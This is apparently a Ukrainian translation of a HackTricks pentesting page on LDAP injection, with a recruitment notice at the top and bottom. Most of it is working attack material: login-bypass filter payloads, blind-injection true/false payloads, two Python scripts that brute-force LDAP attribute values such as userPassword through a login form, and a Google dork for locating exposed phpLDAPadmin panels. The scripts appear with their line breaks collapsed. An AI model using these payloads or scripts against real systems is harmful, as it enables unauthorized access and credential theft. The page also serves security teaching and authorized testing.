Поділіться своїми хакерськими трюками, надсилайте PR доHackTricks та HackTricks Cloud репозиторіїв GitHub.
Якщо ви зацікавлені в кар'єрі хакера та хочете взламати невзламне - ми шукаємо співробітників! (вимагається вільне володіння польською мовою, як письмово, так і усно).
Внедрення LDAP
LDAP
Якщо ви хочете дізнатися, що таке LDAP, перейдіть наступну сторінку:
Внедрення LDAP - це атака на веб-додатки, які створюють оператори LDAP з введення користувача. Це відбувається, коли додаток не відфільтровує належним чином введення, що дозволяє зловмисникам маніпулювати операторами LDAP через локальний проксі, що потенційно може призвести до несанкціонованого доступу або маніпулювання даними.
Ви можете отримати доступ до бази даних, яка може містити інформацію різних типів.
OpenLDAP: Якщо надходять 2 фільтри, виконується лише перший.
ADAM або Microsoft LDS: З 2 фільтрами вони видають помилку.
SunOne Directory Server 5.0: Виконує обидва фільтри.
Дуже важливо відправляти фільтр з правильним синтаксисом, інакше буде викинута помилка. Краще відправляти лише 1 фільтр.
Фільтр повинен починатися з: & або |
Приклад: (&(directory=val1)(folder=public))
Потім: (&(objectClass=*)(ObjectClass=*)) буде першим фільтром (виконуваним).
Ухилення від входу
LDAP підтримує кілька форматів для зберігання пароля: clear, md5, smd5, sh1, sha, crypt. Таким чином, можливо, що незалежно від того, що ви вставляєте у пароль, він буде зашифрований.
user=*password=*--> (&(user=*)(password=*))# The asterisks are great in LDAPi
user=admin)(&)password=pwd--> (&(user=admin)(&))(password=pwd) #Can through an error
username=admin)(!(&(|pass=any))--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.
Ви можете примусити відповіді False або True, щоб перевірити, чи повертаються які-небудь дані та підтвердити можливу сліпу LDAP ін'єкцію:
#This will result on True, so some information will be shownPayload:*)(objectClass=*))(&objectClass=voidFinalquery: (&(objectClass=*)(objectClass=*))(&objectClass=void )(type=Pepi*))
#This will result on True, so no information will be returned or shownPayload:void)(objectClass=void))(&objectClass=voidFinalquery: (&(objectClass=void)(objectClass=void))(&objectClass=void )(type=Pepi*))
Витягнути дані
Ви можете перебирати символи ASCII: літери, цифри та символи:
Об'єкти LDAP зазвичай містять кілька атрибутів, які можуть бути використані для збереження інформації. Ви можете спробувати перебрати їх всі, щоб видобути цю інформацію. Ви можете знайти список типових атрибутів LDAP тут.
#!/usr/bin/python3import requestsimport stringfrom time import sleepimport sysproxy ={"http":"localhost:8080"}url ="http://10.10.10.10/login.php"alphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]
for attribute in attributes:#Extract all attributesvalue =""finish =Falsewhilenot finish:for char in alphabet:#In each possition test each possible printable charquery =f"*)({attribute}={value}{char}*"data ={'login':query,'password':'bla'}r = requests.post(url, data=data, proxies=proxy)sys.stdout.write(f"\r{attribute}: {value}{char}")#sleep(0.5) #Avoid brute-force bansif"Cannot login"in r.text:value +=str(char)breakif char == alphabet[-1]:#If last of all the chars, then, no more chars in the valuefinish =Trueprint()
Спеціальна сліпа LDAP ін'єкція (без "*")
#!/usr/bin/python3import requests, stringalphabet = string.ascii_letters + string.digits +"_@{}-/()!\"$%=^[]:;"flag =""for i inrange(50):print("[i] Looking for number "+str(i))for char in alphabet:r = requests.get("http://ctf.web??action=dir&search=admin*)(password="+ flag + char)if ("TRUE CONDITION"in r.text):flag += charprint("[+] Flag: "+ flag)break
Google Dorks
Google Dorks
intitle:"phpLDAPadmin"inurl:cmd.php
Додаткові Payloads
Якщо вас цікавить кар'єра хакера і взламати невзламне - ми шукаємо співробітників! (вимагається вільне письмо та мовлення польською).